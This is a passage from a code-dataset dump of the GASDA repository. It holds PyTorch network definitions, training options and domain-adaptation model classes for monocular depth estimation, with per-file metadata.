kernel_size=3, stride=1, padding=1, bias=use_bias),\n nn.PixelShuffle(up_scale),\n nonlinearity,\n nn.Conv2d(input_nc, output_nc, kernel_size=3, stride=1, padding=1, bias=use_bias),\n norm_layer(output_nc),\n nonlinearity\n ]\n\n self.model = nn.Sequential(*model)\n\n def forward(self, x):\n return self.model(x)\n\n\nclass _DecoderUpBlock(nn.Module):\n def __init__(self, input_nc, middle_nc, output_nc, norm_layer=nn.BatchNorm2d, nonlinearity=nn.PReLU(), use_bias=False):\n super(_DecoderUpBlock, self).__init__()\n\n model = [\n nn.ReflectionPad2d(1),\n nn.Conv2d(input_nc, middle_nc, kernel_size=3, stride=1, padding=0, bias=use_bias),\n norm_layer(middle_nc),\n nonlinearity,\n nn.ConvTranspose2d(middle_nc, output_nc, kernel_size=3, stride=2, padding=1, output_padding=1),\n norm_layer(output_nc),\n nonlinearity\n ]\n\n self.model = nn.Sequential(*model)\n\n def forward(self, x):\n return self.model(x)\n\n\nclass _OutputBlock(nn.Module):\n def __init__(self, input_nc, output_nc, kernel_size=3, use_bias=False):\n super(_OutputBlock, self).__init__()\n model = [\n nn.ReflectionPad2d(int(kernel_size/2)),\n nn.Conv2d(input_nc, output_nc, kernel_size=kernel_size, padding=0, bias=use_bias),\n nn.Tanh()\n ]\n\n self.model = nn.Sequential(*model)\n\n def forward(self, x):\n return self.model(x)\nclass UNetGenerator(nn.Module):\n def __init__(self, input_nc=3, output_nc=1, ngf=64, layers=4, norm='batch', drop_rate=0, add_noise=False, weight=0.1):\n super(UNetGenerator, self).__init__()\n\n self.layers = layers\n self.weight = weight\n norm_layer = get_norm_layer(norm_type=norm)\n nonlinearity = get_nonlinearity_layer(activation_type='PReLU')\n\n if type(norm_layer) == functools.partial:\n use_bias = norm_layer.func == nn.InstanceNorm2d\n else:\n use_bias = norm_layer == nn.InstanceNorm2d\n\n # encoder part\n self.pool = nn.AvgPool2d(kernel_size=2, stride=2)\n self.conv1 = nn.Sequential(\n nn.ReflectionPad2d(3),\n nn.Conv2d(input_nc, ngf, kernel_size=7, padding=0, bias=use_bias),\n norm_layer(ngf),\n nonlinearity\n )\n self.conv2 = _EncoderBlock(ngf, ngf*2, ngf*2, norm_layer, nonlinearity, use_bias)\n self.conv3 = _EncoderBlock(ngf*2, ngf*4, ngf*4, norm_layer, nonlinearity, use_bias)\n self.conv4 = _EncoderBlock(ngf*4, ngf*8, ngf*8, norm_layer, nonlinearity, use_bias)\n\n for i in range(layers-4):\n conv = _EncoderBlock(ngf*8, ngf*8, ngf*8, norm_layer, nonlinearity, use_bias)\n setattr(self, 'down'+str(i), conv.model)\n\n center=[]\n for i in range(7-layers):\n center +=[\n _InceptionBlock(ngf*8, ngf*8, norm_layer, nonlinearity, 7-layers, drop_rate, use_bias)\n ]\n\n center += [\n _DecoderUpBlock(ngf*8, ngf*8, ngf*4, norm_layer, nonlinearity, use_bias)\n ]\n if add_noise:\n center += [GaussianNoiseLayer()]\n self.center = nn.Sequential(*center)\n\n for i in range(layers-4):\n upconv = _DecoderUpBlock(ngf*(8+4), ngf*8, ngf*4, norm_layer, nonlinearity, use_bias)\n setattr(self, 'up' + str(i), upconv.model)\n\n self.deconv4 = _DecoderUpBlock(ngf*(4+4), ngf*8, ngf*2, norm_layer, nonlinearity, use_bias)\n self.deconv3 = _DecoderUpBlock(ngf*(2+2)+output_nc, ngf*4, ngf, norm_layer, nonlinearity, use_bias)\n self.deconv2 = _DecoderUpBlock(ngf*(1+1)+output_nc, ngf*2, int(ngf/2), norm_layer, nonlinearity, use_bias)\n\n self.output4 = _OutputBlock(ngf*(4+4), output_nc, 3, use_bias)\n self.output3 = _OutputBlock(ngf*(2+2)+output_nc, output_nc, 3, use_bias)\n self.output2 = _OutputBlock(ngf*(1+1)+output_nc, output_nc, 3, use_bias)\n self.output1 = _OutputBlock(int(ngf/2)+output_nc, output_nc, 7, use_bias)\n\n self.upsample = nn.Upsample(scale_factor=2, mode='nearest')\n\n def forward(self, input):\n conv1 = self.pool(self.conv1(input))\n conv2 = self.pool(self.conv2.forward(conv1))\n conv3 = self.pool(self.conv3.forward(conv2))\n center_in = self.pool(self.conv4.forward(conv3))\n\n middle = [center_in]\n for i in range(self.layers-4):\n model = getattr(self, 'down'+str(i))\n center_in = self.pool(model.forward(center_in))\n middle.append(center_in)\n center_out = self.center.forward(center_in)\n #result = [center_in]\n\n for i in range(self.layers-4):\n model = getattr(self, 'up'+str(i))\n center_out = model.forward(torch.cat([center_out, middle[self.layers-5-i]], 1))\n\n scale = 1.0\n result = []\n deconv4 = self.deconv4.forward(torch.cat([center_out, conv3 * self.weight], 1))\n output4 = scale * self.output4.forward(torch.cat([center_out, conv3 * self.weight], 1))\n result.append(output4)\n deconv3 = self.deconv3.forward(torch.cat([deconv4, conv2 * self.weight * 0.5, self.upsample(output4)], 1))\n output3 = scale * self.output3.forward(torch.cat([deconv4, conv2 * self.weight * 0.5, self.upsample(output4)], 1))\n result.append(output3)\n deconv2 = self.deconv2.forward(torch.cat([deconv3, conv1 * self.weight * 0.1, self.upsample(output3)], 1))\n output2 = scale * self.output2.forward(torch.cat([deconv3, conv1 * self.weight * 0.1, self.upsample(output3)], 1))\n result.append(output2)\n output1 = scale * self.output1.forward(torch.cat([deconv2, self.upsample(output2)], 1))\n result.append(output1)\n\n return result\n\n# Defines the generator that consists of Resnet blocks between a few\n# downsampling/upsampling operations.\n# Code and idea originally from Justin Johnson's architecture.\n# https://github.com/jcjohnson/fast-neural-style/\nclass ResGenerator(nn.Module):\n def __init__(self, input_nc=3, output_nc=3, ngf=64, norm='batch', use_dropout=False, n_blocks=9, padding_type='reflect'):\n assert(n_blocks >= 0)\n super(ResGenerator, self).__init__()\n norm_layer = get_norm_layer(norm_type=norm)\n self.input_nc = input_nc\n self.output_nc = output_nc\n self.ngf = ngf\n if type(norm_layer) == functools.partial:\n use_bias = norm_layer.func == nn.InstanceNorm2d\n else:\n use_bias = norm_layer == nn.InstanceNorm2d\n\n model = [nn.ReflectionPad2d(3),\n nn.Conv2d(input_nc, ngf, kernel_size=7, padding=0,\n bias=use_bias),\n norm_layer(ngf),\n nn.ReLU(True)]\n\n n_downsampling = 2\n for i in range(n_downsampling):\n mult = 2**i\n model += [nn.Conv2d(ngf * mult, ngf * mult * 2, kernel_size=3,\n stride=2, padding=1, bias=use_bias),\n norm_layer(ngf * mult * 2),\n nn.ReLU(True)]\n\n mult = 2**n_downsampling\n for i in range(n_blocks):\n model += [ResnetBlock(ngf * mult, padding_type=padding_type, norm_layer=norm_layer, use_dropout=use_dropout, use_bias=use_bias)]\n\n for i in range(n_downsampling):\n mult = 2**(n_downsampling - i)\n model += [nn.ConvTranspose2d(ngf * mult, int(ngf * mult / 2),\n kernel_size=3, stride=2,\n padding=1, output_padding=1,\n bias=use_bias),\n norm_layer(int(ngf * mult / 2)),\n nn.ReLU(True)]\n model += [nn.ReflectionPad2d(3)]\n model += [nn.Conv2d(ngf, output_nc, kernel_size=7, padding=0)]\n model += [nn.Tanh()]\n\n self.model = nn.Sequential(*model)\n\n def forward(self, input):\n return self.model(input)\n\n# Define a resnet block\nclass ResnetBlock(nn.Module):\n def __init__(self, dim, padding_type, norm_layer, use_dropout, use_bias):\n super(ResnetBlock, self).__init__()\n self.conv_block = self.build_conv_block(dim, padding_type, norm_layer, use_dropout, use_bias)\n\n def build_conv_block(self, dim, padding_type, norm_layer, use_dropout, use_bias):\n conv_block = []\n p = 0\n if padding_type == 'reflect':\n conv_block += [nn.ReflectionPad2d(1)]\n elif padding_type == 'replicate':\n conv_block += [nn.ReplicationPad2d(1)]\n elif padding_type == 'zero':\n p = 1\n else:\n raise NotImplementedError('padding [%s] is not implemented' % padding_type)\n\n conv_block += [nn.Conv2d(dim, dim, kernel_size=3, padding=p, bias=use_bias),\n norm_layer(dim),\n nn.ReLU(True)]\n if use_dropout:\n conv_block += [nn.Dropout(0.5)]\n\n p = 0\n if padding_type == 'reflect':\n conv_block += [nn.ReflectionPad2d(1)]\n elif padding_type == 'replicate':\n conv_block += [nn.ReplicationPad2d(1)]\n elif padding_type == 'zero':\n p = 1\n else:\n raise NotImplementedError('padding [%s] is not implemented' % padding_type)\n conv_block += [nn.Conv2d(dim, dim, kernel_size=3, padding=p, bias=use_bias),\n norm_layer(dim)]\n\n return nn.Sequential(*conv_block)\n\n def forward(self, x):\n out = x + self.conv_block(x)\n return out\n\nclass Discriminator(nn.Module):\n def __init__(self, input_nc=3, ndf=64, n_layers=3, norm='batch', use_sigmoid=False):\n super(Discriminator, self).__init__()\n norm_layer = get_norm_layer(norm_type=norm)\n if type(norm_layer) == functools.partial:\n use_bias = norm_layer.func == nn.InstanceNorm2d\n else:\n use_bias = norm_layer == nn.InstanceNorm2d\n\n kw = 4\n padw = 1\n sequence = [\n nn.Conv2d(input_nc, ndf, kernel_size=kw, stride=2, padding=padw),\n nn.LeakyReLU(0.2, True)\n ]\n\n nf_mult = 1\n nf_mult_prev = 1\n for n in range(1, n_layers):\n nf_mult_prev = nf_mult\n nf_mult = min(2**n, 8)\n sequence += [\n nn.Conv2d(ndf * nf_mult_prev, ndf * nf_mult,\n kernel_size=kw, stride=2, padding=padw, bias=use_bias),\n norm_layer(ndf * nf_mult),\n nn.LeakyReLU(0.2, True)\n ]\n\n nf_mult_prev = nf_mult\n nf_mult = min(2**n_layers, 8)\n sequence += [\n nn.Conv2d(ndf * nf_mult_prev, ndf * nf_mult,\n kernel_size=kw, stride=1, padding=padw, bias=use_bias),\n norm_layer(ndf * nf_mult),\n nn.LeakyReLU(0.2, True)\n ]\n\n sequence += [nn.Conv2d(ndf * nf_mult, 1, kernel_size=kw, stride=1, padding=padw)]\n\n if use_sigmoid:\n sequence += [nn.Sigmoid()]\n\n self.model = nn.Sequential(*sequence)\n\n def forward(self, input):\n return self.model(input)\n" }, { "alpha_fraction": 0.6820744276046753, "alphanum_fraction": 0.6925967931747437, "avg_line_length": 90.75862121582031, "blob_id": "83d173e149a612eab25a90bfd579cf0d3ba08d0b", "content_id": "5c32398f863463e1211c3a565a0132fd91b5e545", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2661, "license_type": "no_license", "max_line_length": 173, "num_lines": 29, "path": "/options/train_options.py", "repo_name": "sshan-zhao/GASDA", "src_encoding": "UTF-8", "text": "from .base_options import BaseOptions\n\n\nclass TrainOptions(BaseOptions):\n def initialize(self, parser):\n parser = BaseOptions.initialize(self, parser)\n parser.add_argument('--src_train_datafile', type=str, default='train.txt', help='stores data list, in src_root')\n parser.add_argument('--tgt_train_datafile', type=str, default='train.txt', help='stores data list, in tgt_root')\n parser.add_argument('--print_freq', type=int, default=32, help='frequency of showing training results on console')\n parser.add_argument('--save_result_freq', type=int, default=3200, help='frequency of saving the latest prediction results')\n parser.add_argument('--save_latest_freq', type=int, default=3200, help='frequency of saving the latest trained model')\n parser.add_argument('--save_epoch_freq', type=int, default=1, help='frequency of saving checkpoints at the end of epochs')\n parser.add_argument('--continue_train', action='store_true', help='continue training: load the latest model')\n parser.add_argument('--epoch_count', type=int, default=1, help='the starting epoch count, we save the model by <epoch_count>, <epoch_count>+<save_latest_freq>, ...')\n parser.add_argument('--which_epoch', type=str, default='latest', help='which epoch to load? set to latest to use latest cached model')\n parser.add_argument('--niter', type=int, default=10, help='# of iter at starting learning rate')\n parser.add_argument('--niter_decay', type=int, default=100, help='# of iter to linearly decay learning rate to zero')\n parser.add_argument('--beta1', type=float, default=0.9, help='momentum term of adam')\n parser.add_argument('--lr_task', type=float, default=1e-4, help='initial learning rate for adam')\n parser.add_argument('--lr_trans', type=float, default=5e-5, help='initial learning rate for adam')\n parser.add_argument('--no_lsgan', action='store_true', help='do *not* use least square GAN, if false, use vanilla GAN')\n parser.add_argument('--scale_pred', action='store_true', help='scale prediction according the ratio of median value')\n parser.add_argument('--pool_size', type=int, default=50, help='the size of image buffer that stores previously generated images')\n parser.add_argument('--lr_policy', type=str, default='step', help='learning rate policy: lambda|step|plateau')\n parser.add_argument('--lr_decay_iters', type=int, default=10, help='multiply by a gamma every lr_decay_iters iterations')\n parser.add_argument('--no_val', action='store_true', help='validation')\n\n self.isTrain = True\n return parser\n" }, { "alpha_fraction": 0.5669885873794556, "alphanum_fraction": 0.5739597678184509, "avg_line_length": 51.3612174987793, "blob_id": "155259f23608511fd1b8b8903a9cdd2036c380d2", "content_id": "a38a79b3b68278ab222612b68d1d938b4f6709e8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 13771, "license_type": "no_license", "max_line_length": 316, "num_lines": 263, "path": "/models/gasda_model.py", "repo_name": "sshan-zhao/GASDA", "src_encoding": "UTF-8", "text": "import torch\nimport itertools\nfrom .base_model import BaseModel\nfrom . import networks\nfrom utils.image_pool import ImagePool\nimport torch.nn.functional as F\nfrom utils import dataset_util\n\nclass GASDAModel(BaseModel):\n def name(self):\n return 'GASDAModel'\n\n @staticmethod\n def modify_commandline_options(parser, is_train=True):\n\n parser.set_defaults(no_dropout=True)\n if is_train:\n parser.add_argument('--lambda_R_Depth', type=float, default=50.0, help='weight for reconstruction loss')\n parser.add_argument('--lambda_C_Depth', type=float, default=50.0, help='weight for consistency')\n\n parser.add_argument('--lambda_S_Depth', type=float, default=0.01,\n help='weight for smooth loss')\n \n parser.add_argument('--lambda_R_Img', type=float, default=50.0,help='weight for image reconstruction')\n # cyclegan\n parser.add_argument('--lambda_Src', type=float, default=1.0, help='weight for cycle loss (A -> B -> A)')\n parser.add_argument('--lambda_Tgt', type=float, default=1.0,\n help='weight for cycle loss (B -> A -> B)')\n parser.add_argument('--lambda_identity', type=float, default=30.0,\n help='use identity mapping. Setting lambda_identity other than 0 has an effect of scaling the weight of the identity mapping loss. For example, if the weight of the identity loss should be 10 times smaller than the weight of the reconstruction loss, please set lambda_identity = 0.1')\n\n parser.add_argument('--s_depth_premodel', type=str, default=\" \",\n help='pretrained depth estimation model')\n parser.add_argument('--t_depth_premodel', type=str, default=\" \",\n help='pretrained depth estimation model')\n\n parser.add_argument('--g_src_premodel', type=str, default=\" \",\n help='pretrained G_Src model')\n parser.add_argument('--g_tgt_premodel', type=str, default=\" \",\n help='pretrained G_Tgt model')\n parser.add_argument('--d_src_premodel', type=str, default=\" \",\n help='pretrained D_Src model')\n parser.add_argument('--d_tgt_premodel', type=str, default=\" \",\n help='pretrained D_Tgt model')\n\n parser.add_argument('--freeze_bn', action='store_true', help='freeze the bn in mde')\n parser.add_argument('--freeze_in', action='store_true', help='freeze the in in cyclegan')\n return parser\n\n def initialize(self, opt):\n BaseModel.initialize(self, opt)\n\n if self.isTrain:\n self.loss_names = ['R_Depth_Src_S', 'S_Depth_Tgt_S', 'R_Img_Tgt_S', 'C_Depth_Tgt']\n self.loss_names += ['R_Depth_Src_T', 'S_Depth_Tgt_T', 'R_Img_Tgt_T']\n self.loss_names += ['D_Src', 'G_Src', 'cycle_Src', 'idt_Src', 'D_Tgt', 'G_Tgt', 'cycle_Tgt', 'idt_Tgt']\n\n if self.isTrain:\n visual_names_src = ['src_img', 'fake_tgt', 'src_real_depth', 'src_gen_depth', 'src_gen_depth_t', 'src_gen_depth_s']\n visual_names_tgt = ['tgt_left_img', 'fake_src_left', 'tgt_gen_depth', 'warp_tgt_img_s', 'warp_tgt_img_t', 'tgt_gen_depth_s', 'tgt_gen_depth_t', 'tgt_right_img']\n if self.opt.lambda_identity > 0.0:\n visual_names_src.append('idt_src_left')\n visual_names_tgt.append('idt_tgt')\n self.visual_names = visual_names_src + visual_names_tgt\n else:\n self.visual_names = ['pred', 'img', 'img_trans']\n\n if self.isTrain:\n self.model_names = ['G_Depth_S', 'G_Depth_T']\n self.model_names += ['G_Src', 'G_Tgt', 'D_Src', 'D_Tgt']\n else:\n self.model_names = ['G_Depth_S', 'G_Depth_T', 'G_Tgt']\n\n self.netG_Depth_S = networks.init_net(networks.UNetGenerator(norm='batch'), init_type='kaiming', gpu_ids=opt.gpu_ids)\n self.netG_Depth_T = networks.init_net(networks.UNetGenerator(norm='batch'), init_type='kaiming', gpu_ids=opt.gpu_ids)\n\n self.netG_Src = networks.init_net(networks.ResGenerator(norm='instance'), init_type='kaiming', gpu_ids=opt.gpu_ids)\n self.netG_Tgt = networks.init_net(networks.ResGenerator(norm='instance'), init_type='kaiming', gpu_ids=opt.gpu_ids)\n\n if self.isTrain:\n use_sigmoid = opt.no_lsgan\n\n self.netD_Src = networks.init_net(networks.Discriminator(norm='instance'), init_type='kaiming', gpu_ids=opt.gpu_ids)\n self.netD_Tgt = networks.init_net(networks.Discriminator(norm='instance'), init_type='kaiming', gpu_ids=opt.gpu_ids)\n\n self.init_with_pretrained_model('G_Depth_S', self.opt.s_depth_premodel)\n self.init_with_pretrained_model('G_Depth_T', self.opt.t_depth_premodel)\n self.init_with_pretrained_model('G_Src', self.opt.g_src_premodel)\n self.init_with_pretrained_model('G_Tgt', self.opt.g_tgt_premodel)\n self.init_with_pretrained_model('D_Src', self.opt.d_src_premodel)\n self.init_with_pretrained_model('D_Tgt', self.opt.d_tgt_premodel)\n \n if self.isTrain:\n # define loss functions\n self.criterionDepthReg = torch.nn.L1Loss()\n self.criterionDepthCons = torch.nn.L1Loss()\n self.criterionSmooth = networks.SmoothLoss()\n self.criterionImgRecon = networks.ReconLoss()\n self.criterionLR = torch.nn.L1Loss()\n\n self.fake_src_pool = ImagePool(opt.pool_size)\n self.fake_tgt_pool = ImagePool(opt.pool_size)\n self.criterionGAN = networks.GANLoss(use_lsgan=not opt.no_lsgan).to(self.device)\n self.criterionCycle = torch.nn.L1Loss()\n self.criterionIdt = torch.nn.L1Loss()\n\n self.optimizer_G_task = torch.optim.Adam(itertools.chain(self.netG_Depth_S.parameters(),\n self.netG_Depth_T.parameters()),\n lr=opt.lr_task, betas=(0.95, 0.999))\n self.optimizer_G_trans = torch.optim.Adam(itertools.chain(self.netG_Src.parameters(), \n self.netG_Tgt.parameters()),\n lr=opt.lr_trans, betas=(0.5, 0.9))\n self.optimizer_D = torch.optim.Adam(itertools.chain(self.netD_Src.parameters(), \n self.netD_Tgt.parameters()),\n lr=opt.lr_trans, betas=(0.5, 0.9))\n self.optimizers = []\n self.optimizers.append(self.optimizer_G_task)\n self.optimizers.append(self.optimizer_G_trans)\n self.optimizers.append(self.optimizer_D)\n if opt.freeze_bn:\n self.netG_Depth_S.apply(networks.freeze_bn)\n self.netG_Depth_T.apply(networks.freeze_bn)\n if opt.freeze_in:\n self.netG_Src.apply(networks.freeze_in)\n self.netG_Tgt.apply(networks.freeze_in)\n\n def set_input(self, input):\n\n if self.isTrain:\n self.src_real_depth = input['src']['depth'].to(self.device)\n self.src_img = input['src']['img'].to(self.device)\n self.tgt_left_img = input['tgt']['left_img'].to(self.device)\n self.tgt_right_img = input['tgt']['right_img'].to(self.device)\n self.tgt_fb = input['tgt']['fb']\n self.num = self.src_img.shape[0]\n else:\n self.img = input['left_img'].to(self.device)\n\n def forward(self):\n\n if self.isTrain:\n pass\n \n else:\n self.pred_s = self.netG_Depth_S(self.img)[-1]\n self.img_trans = self.netG_Tgt(self.img)\n self.pred_t = self.netG_Depth_T(self.img_trans)[-1]\n self.pred = 0.5 * (self.pred_s + self.pred_t)\n\n def backward_D_basic(self, netD, real, fake):\n # Real\n pred_real = netD(real.detach())\n loss_D_real = self.criterionGAN(pred_real, True)\n # Fake\n pred_fake = netD(fake.detach())\n loss_D_fake = self.criterionGAN(pred_fake, False)\n # Combined loss\n loss_D = (loss_D_real + loss_D_fake) * 0.5\n # backward\n loss_D.backward()\n return loss_D\n\n def backward_D_Src(self):\n fake_tgt = self.fake_tgt_pool.query(self.fake_tgt)\n self.loss_D_Src = self.backward_D_basic(self.netD_Src, self.tgt_left_img, fake_tgt)\n\n def backward_D_Tgt(self):\n fake_src_left = self.fake_src_pool.query(self.fake_src_left)\n self.loss_D_Tgt = self.backward_D_basic(self.netD_Tgt, self.src_img, fake_src_left)\n\n def backward_G(self):\n\n lambda_R_Depth = self.opt.lambda_R_Depth\n lambda_R_Img = self.opt.lambda_R_Img\n lambda_S_Depth = self.opt.lambda_S_Depth\n lambda_C_Depth = self.opt.lambda_C_Depth\n lambda_idt = self.opt.lambda_identity\n lambda_Src = self.opt.lambda_Src\n lambda_Tgt = self.opt.lambda_Tgt\n\n # =========================== synthetic ==========================\n self.fake_tgt = self.netG_Src(self.src_img)\n self.idt_tgt = self.netG_Tgt(self.src_img)\n self.rec_src = self.netG_Tgt(self.fake_tgt)\n self.out_s = self.netG_Depth_S(self.fake_tgt)\n self.out_t = self.netG_Depth_T(self.src_img)\n self.src_gen_depth_t = self.out_t[-1]\n self.src_gen_depth_s = self.out_s[-1]\n self.loss_G_Src = self.criterionGAN(self.netD_Src(self.fake_tgt), True)\n self.loss_cycle_Src = self.criterionCycle(self.rec_src, self.src_img)\n self.loss_idt_Tgt = self.criterionIdt(self.idt_tgt, self.src_img) * lambda_Src * lambda_idt\n self.loss_R_Depth_Src_S = 0.0\n real_depths = dataset_util.scale_pyramid(self.src_real_depth, 4)\n for (gen_depth, real_depth) in zip(self.out_s, real_depths):\n self.loss_R_Depth_Src_S += self.criterionDepthReg(gen_depth, real_depth) * lambda_R_Depth\n self.loss_R_Depth_Src_T = 0.0\n for (gen_depth, real_depth) in zip(self.out_t, real_depths):\n self.loss_R_Depth_Src_T += self.criterionDepthReg(gen_depth, real_depth) * lambda_R_Depth\n self.loss = self.loss_G_Src + self.loss_cycle_Src + self.loss_idt_Tgt + self.loss_R_Depth_Src_T + self.loss_R_Depth_Src_S\n self.loss.backward()\n\n # ============================= real =============================\n self.fake_src_left = self.netG_Tgt(self.tgt_left_img)\n self.idt_src_left = self.netG_Src(self.tgt_left_img)\n self.rec_tgt_left = self.netG_Src(self.fake_src_left)\n self.out_s = self.netG_Depth_S(self.tgt_left_img)\n self.out_t = self.netG_Depth_T(self.fake_src_left)\n self.tgt_gen_depth_t = self.out_t[-1]\n self.tgt_gen_depth_s = self.out_s[-1]\n self.loss_G_Tgt = self.criterionGAN(self.netD_Tgt(self.fake_src_left), True)\n self.loss_cycle_Tgt = self.criterionCycle(self.rec_tgt_left, self.tgt_left_img)\n self.loss_idt_Src = self.criterionIdt(self.idt_src_left, self.tgt_left_img) * lambda_Tgt * lambda_idt\n # geometry consistency\n l_imgs = dataset_util.scale_pyramid(self.tgt_left_img, 4)\n r_imgs = dataset_util.scale_pyramid(self.tgt_right_img, 4)\n self.loss_R_Img_Tgt_S = 0.0\n i = 0\n for (l_img, r_img, gen_depth) in zip(l_imgs, r_imgs, self.out_s):\n loss, self.warp_tgt_img_s = self.criterionImgRecon(l_img, r_img, gen_depth, self.tgt_fb / 2**(3-i))\n self.loss_R_Img_Tgt_S += loss * lambda_R_Img\n i += 1\n self.loss_R_Img_Tgt_T = 0.0\n i = 0\n for (l_img, r_img, gen_depth) in zip(l_imgs, r_imgs, self.out_t):\n loss, self.warp_tgt_img_t = self.criterionImgRecon(l_img, r_img, gen_depth, self.tgt_fb / 2**(3-i))\n self.loss_R_Img_Tgt_T += loss * lambda_R_Img\n i += 1\n # smoothness\n i = 0\n self.loss_S_Depth_Tgt_S = 0.0\n for (gen_depth, img) in zip(self.out_s, l_imgs):\n self.loss_S_Depth_Tgt_S += self.criterionSmooth(gen_depth, img) * self.opt.lambda_S_Depth / 2**i\n i += 1\n i = 0\n self.loss_S_Depth_Tgt_T = 0.0\n for (gen_depth, img) in zip(self.out_t, l_imgs):\n self.loss_S_Depth_Tgt_T += self.criterionSmooth(gen_depth, img) * self.opt.lambda_S_Depth / 2**i\n i += 1\n # depth consistency\n self.loss_C_Depth_Tgt = 0.0\n for (gen_depth1, gen_depth2) in zip(self.out_s, self.out_t):\n self.loss_C_Depth_Tgt += self.criterionDepthCons(gen_depth1, gen_depth2) * lambda_C_Depth\n\n self.loss_G = self.loss_G_Tgt + self.loss_cycle_Tgt + self.loss_idt_Src + self.loss_R_Img_Tgt_T + self.loss_R_Img_Tgt_S + self.loss_S_Depth_Tgt_T + self.loss_S_Depth_Tgt_S + self.loss_C_Depth_Tgt\n self.loss_G.backward()\n self.tgt_gen_depth = (self.tgt_gen_depth_t + self.tgt_gen_depth_s) / 2.0\n self.src_gen_depth = (self.src_gen_depth_t + self.src_gen_depth_s) / 2.0\n\n def optimize_parameters(self):\n \n self.forward()\n self.set_requires_grad([self.netD_Src, self.netD_Tgt], False)\n self.optimizer_G_trans.zero_grad()\n self.optimizer_G_task.zero_grad()\n self.backward_G()\n self.optimizer_G_trans.step()\n self.optimizer_G_task.step()\n\n self.set_requires_grad([self.netD_Src, self.netD_Tgt], True)\n self.optimizer_D.zero_grad()\n self.backward_D_Src()\n self.backward_D_Tgt()\n self.optimizer_D.step()\n" }, { "alpha_fraction": 0.572888970375061, "alphanum_fraction": 0.5806583762168884, "avg_line_length": 38.76422882080078, "blob_id": "6e24e4fcc7498901cd577403e9ba3bdf17b43d81", "content_id": "a18c2d238448f7c504fe7a6299b8373bae291706", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4891, "license_type": "no_license", "max_line_length": 162, "num_lines": 123, "path": "/models/ft_model.py", "repo_name": "sshan-zhao/GASDA", "src_encoding": "UTF-8", "text": "import torch\nimport itertools\nfrom .base_model import BaseModel\nfrom . import networks\nfrom utils.image_pool import ImagePool\nimport torch.nn.functional as F\nfrom utils import dataset_util\n\nclass FTModel(BaseModel):\n def name(self):\n return 'FTModel'\n\n @staticmethod\n def modify_commandline_options(parser, is_train=True):\n\n parser.set_defaults(no_dropout=True)\n if is_train:\n parser.add_argument('--lambda_R_Depth', type=float, default=1.0, help='weight for reconstruction loss')\n parser.add_argument('--lambda_S_Depth', type=float, default=0.01, help='weight for smooth loss')\n \n parser.add_argument('--lambda_R_Img', type=float, default=1.0,help='weight for image reconstruction')\n \n parser.add_argument('--g_tgt_premodel', type=str, default=\" \",help='pretrained G_Tgt model')\n \n return parser\n\n def initialize(self, opt):\n BaseModel.initialize(self, opt)\n\n if self.isTrain:\n self.loss_names = ['R_Depth_Src', 'S_Depth_Tgt', 'R_Img_Tgt']\n \n if self.isTrain:\n self.visual_names = ['src_img', 'src_real_depth', 'src_gen_depth', 'tgt_left_img', 'fake_src_left', 'tgt_gen_depth', 'warp_tgt_img', 'tgt_right_img']\n else:\n self.visual_names = ['pred', 'img']\n\n if self.isTrain:\n self.model_names = ['G_Depth_T', 'G_Tgt']\n\n else:\n self.model_names = ['G_Depth_T', 'G_Tgt']\n\n self.netG_Depth_T = networks.init_net(networks.UNetGenerator(norm='batch'), init_type='normal', gpu_ids=opt.gpu_ids)\n\n self.netG_Tgt = networks.init_net(networks.ResGenerator(norm='instance'), init_type='kaiming', gpu_ids=opt.gpu_ids)\n\n if self.isTrain:\n self.init_with_pretrained_model('G_Tgt', self.opt.g_tgt_premodel)\n self.netG_Tgt.eval()\n \n if self.isTrain:\n # define loss functions\n self.criterionDepthReg = torch.nn.L1Loss()\n self.criterionSmooth = networks.SmoothLoss()\n self.criterionImgRecon = networks.ReconLoss()\n\n self.optimizer_G_task = torch.optim.Adam(itertools.chain(self.netG_Depth_T.parameters()),\n lr=opt.lr_task, betas=(0.9, 0.999))\n self.optimizers = []\n self.optimizers.append(self.optimizer_G_task)\n\n def set_input(self, input):\n\n if self.isTrain:\n self.src_real_depth = input['src']['depth'].to(self.device)\n self.src_img = input['src']['img'].to(self.device)\n self.tgt_left_img = input['tgt']['left_img'].to(self.device)\n self.tgt_right_img = input['tgt']['right_img'].to(self.device)\n self.tgt_fb = input['tgt']['fb']\n\n self.num = self.src_img.shape[0]\n else:\n self.img = input['left_img'].to(self.device)\n\n def forward(self):\n\n if self.isTrain:\n\n self.fake_src_left = self.netG_Tgt(self.tgt_left_img).detach()\n self.out = self.netG_Depth_T(torch.cat((self.src_img, self.fake_src_left), 0))\n self.src_gen_depth = self.out[-1].narrow(0, 0, self.num)\n self.tgt_gen_depth = self.out[-1].narrow(0, self.num, self.num)\n \n else:\n self.img_trans = self.netG_Tgt(self.img)\n self.pred = self.netG_Depth_T(self.img_trans)[-1]\n \n def backward_G(self):\n\n lambda_R_Depth = self.opt.lambda_R_Depth\n lambda_R_Img = self.opt.lambda_R_Img\n lambda_S_Depth = self.opt.lambda_S_Depth\n\n self.loss_R_Depth_Src = 0.0\n real_depths = dataset_util.scale_pyramid(self.src_real_depth, 4)\n for (gen_depth, real_depth) in zip(self.out, real_depths):\n self.loss_R_Depth_Src += self.criterionDepthReg(gen_depth[:self.num,:,:,:], real_depth) * lambda_R_Depth\n\n l_imgs = dataset_util.scale_pyramid(self.tgt_left_img, 4)\n r_imgs = dataset_util.scale_pyramid(self.tgt_right_img, 4)\n self.loss_R_Img_Tgt = 0.0\n i = 0\n for (l_img, r_img, gen_depth) in zip(l_imgs, r_imgs, self.out):\n loss, self.warp_tgt_img = self.criterionImgRecon(l_img, r_img, gen_depth[self.num:,:,:,:], self.tgt_fb / 2**(3-i))\n self.loss_R_Img_Tgt += loss * lambda_R_Img\n i += 1\n\n i = 0\n self.loss_S_Depth_Tgt = 0.0\n for (gen_depth, img) in zip(self.out, l_imgs):\n self.loss_S_Depth_Tgt += self.criterionSmooth(gen_depth[self.num:,:,:,:], img) * self.opt.lambda_S_Depth / 2**i\n i += 1\n\n self.loss_G_Depth = self.loss_R_Img_Tgt + self.loss_S_Depth_Tgt + self.loss_R_Depth_Src\n self.loss_G_Depth.backward()\n\n def optimize_parameters(self):\n \n self.forward()\n self.optimizer_G_task.zero_grad()\n self.backward_G()\n self.optimizer_G_task.step()\n" } ]
8
llien30/ego-ad
https://github.com/llien30/ego-ad
a0a4c5fd5c08e660848e32205eb1ad11375d2d3a
